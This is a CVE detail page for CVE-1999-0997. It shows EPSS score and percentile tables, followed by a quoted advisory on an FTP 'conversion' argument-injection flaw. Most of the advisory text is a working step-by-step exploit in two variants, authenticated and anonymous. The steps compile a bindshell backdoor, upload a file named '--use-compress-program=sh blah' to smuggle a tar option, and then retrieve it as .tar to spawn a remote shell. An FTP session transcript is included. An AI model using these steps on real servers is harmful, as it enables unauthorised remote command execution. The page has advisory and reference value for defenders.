CVE-1999-0997 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	3.28%	–
2024-02-11	–	–	–	12.52%	–
2024-06-02	–	–	–	12.52%	–
2024-08-11	–	–	–	12.52%	–
2024-12-22	–	–	–	12.52%	–
2025-02-16	–	–	–	12.52%	–
2025-01-19	–	–	–	12.52%	–
2025-02-16	–	–	–	12.52%	–
2025-03-18	–	–	–	–	5.1%
2025-03-30	–	–	–	–	3.82%
2025-05-01	–	–	–	–	3.82%
2025-05-01	–	–	–	–	3.82,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	9%
2024-02-11	95%
2024-06-02	95%
2024-08-11	96%
2024-12-22	95%
2025-02-16	96%
2025-01-19	95%
2025-02-16	96%
2025-03-18	89%
2025-03-30	87%
2025-05-01	88%
2025-05-01	88%

source: https://www.securityfocus.com/bid/2240/info Some FTP servers provide a "conversion" service that pipes a requested file through a program, for example a decompression utility such as "tar", before it is passed to the remote user. Under some configurations where this is enabled a remote user can pass a filename beginning with a minus sign to FTP, which will pass this as an argument to the compression/archiver program (where it will be erroneously treated as a command line argument other than a filename). It may be possible to exploit this and execute commands on a remote machine. An example of this exploits the "--use-compress-program PROG" parameter passed to tar; if PROG refers to a program that is accessible to the FTP server, it will be executed. The remote user must have access to a writeable directory in order to exploit this. See exploit for details. With a valid FTP account only the server, the difficulty goes right down. You also have the added benefit of not being stuck in a chroot() environment at the end. Local exploit time. The exploit goes along much the same lines as the anonymous FTP exploit does: Create a backdoor, using bindshell from our previous example: $ gcc bindshell.c -o b -static If you can perform a SITE CHMOD (default for normal non-anon users on wu-ftpd), then you can use the following script example. Create a script to exec the desired commands: $ cat > blah #!/bin/bash ./b & ^D Now create empty file "--use-compress-program=bash blah" $ > "--use-compress-program=bash blah" FTP to your target, login with your username/password. Upload your 3 files: ftp> put b ftp> put blah ftp> put "--use-compress-program=bash blah" Do a SITE CHMOD for b and blah: ftp> quote SITE CHMOD 0755 b ftp> quote SITE CHMOD 0755 blah Now get your file: ftp> get "--use-compress-program=bash blah".tar Thats all there is to it. You now should have a shell on whatever port you specified. --- An alternative exploit that bypasses the need to use SITE CHMOD has been suggested by SecuriTeam.com (this can be accomplished over anonymous FTP): "This vulnerability is simple to exploit. However to exploit it you must be able to upload/download files. (e.g. a mode 0777 incoming directory). For the purposes of this exploit you also need a shell in the remote path. For example, a RedHat machine with the anonftp package installed has exactly what you need. First, assuming you are running the same platform as your target, statically compile some sort of backdoor program. A simple example is bindshell.c. $ gcc bindshell.c -o b -static Then, tar this up. You will need to tar it up because the remote side will rarely have the ability to change permissions at this stage. (SITE CHMOD rarely works on anonymous ftp sites) $ tar -cf b.tar b Create a script of things you want to do on the remote site, this will be interpreted by bash or sh. $ cat > blah # /bin/tar -xf b.tar ./b ^D Leave the first line as a comment. Create a empty file called "--use-compress-program=sh blah" $ > "--use-compress-program=sh blah" Connect to your target ftp server. $ ftp localhost Connected to localhost. 220 localhost.localdomain FTP server (Version wu-2.6.0(1) Tue Sep 21 10:10:10 EDT 2000) ready. Name (localhost:suid): ftp 331 Guest login ok, send your complete e-mail address as password. Password: 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> Change to your world writeable directory: ftp> cd /incoming Store your files: ftp> put blah ftp> put b.tar ftp> put "--use-compress-program=sh blah" Now using TAR conversion, get your "--use-compress-program=sh blah" file. ftp> get "--use-compress-program=sh blah".tar It should open a connection then freeze. Now telnet to your bindshell port."